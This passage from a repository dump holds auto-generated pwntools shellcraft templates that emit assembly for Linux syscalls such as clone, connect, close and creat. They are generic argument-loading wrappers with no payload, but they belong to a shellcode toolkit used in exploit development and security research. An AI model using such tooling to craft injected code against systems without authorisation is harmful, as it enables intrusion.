    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clock_settime.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clock_settime(clock_id, tp) -> str\n\nInvokes the syscall clock_settime.\n\nSee 'man 2 clock_settime' for more information.\n\nArguments:\n    clock_id(clockid_t): clock_id\n    tp(timespec*): tp\nReturns:\n    int\n</%docstring>\n<%page args=\"clock_id=0, tp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['clock_id', 'tp']\n    argument_values = [clock_id, tp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clock_settime']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clock_settime'])\n%>\n    /* clock_settime(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clock_settime64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clock_settime64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall clock_settime64.\n\nSee 'man 2 clock_settime64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clock_settime64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clock_settime64'])\n%>\n    /* clock_settime64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clone.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clone(fn, child_stack, flags, arg, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall clone.\n\nSee 'man 2 clone' for more information.\n\nArguments:\n    fn(int): fn\n    child_stack(void*): child_stack\n    flags(int): flags\n    arg(void*): arg\n    vararg(int): vararg\nReturns:\n    int\n</%docstring>\n<%page args=\"fn=0, child_stack=0, flags=0, arg=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['child_stack', 'arg']\n    can_pushstr_array = []\n\n    argument_names = ['fn', 'child_stack', 'flags', 'arg', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [fn, child_stack, flags, arg, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clone']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clone'])\n%>\n    /* clone(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clone3.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clone3(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall clone3.\n\nSee 'man 2 clone3' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clone3']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clone3'])\n%>\n    /* clone3(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/close.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>close(fd) -> str\n\nInvokes the syscall close.\n\nSee 'man 2 close' for more information.\n\nArguments:\n    fd(int): fd\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd']\n    argument_values = [fd]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_close']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_close'])\n%>\n    /* close(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/close_range.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>close_range(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall close_range.\n\nSee 'man 2 close_range' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_close_range']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_close_range'])\n%>\n    /* close_range(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/connect.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>connect(fd, addr, length) -> str\n\nInvokes the syscall connect.\n\nSee 'man 2 connect' for more information.\n\nArguments:\n    fd(int): fd\n    addr(CONST_SOCKADDR_ARG): addr\n    length(socklen_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, addr=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'addr', 'length']\n    argument_values = [fd, addr, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_connect']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_connect'])\n%>\n    /* connect(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/copy_file_range.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>copy_file_range(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall copy_file_range.\n\nSee 'man 2 copy_file_range' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_copy_file_range']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_copy_file_range'])\n%>\n    /* copy_file_range(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/creat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>creat(file, mode) -> str\n\nInvokes the syscall creat.\n\nSee 'man 2 creat' for more information.\n\nArguments:\n    file(char*): file\n    mode(mode_t): mode\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, mode=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'mode']\n    argument_values = [file, mode]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_creat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_creat'])\n%>\n    /* creat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
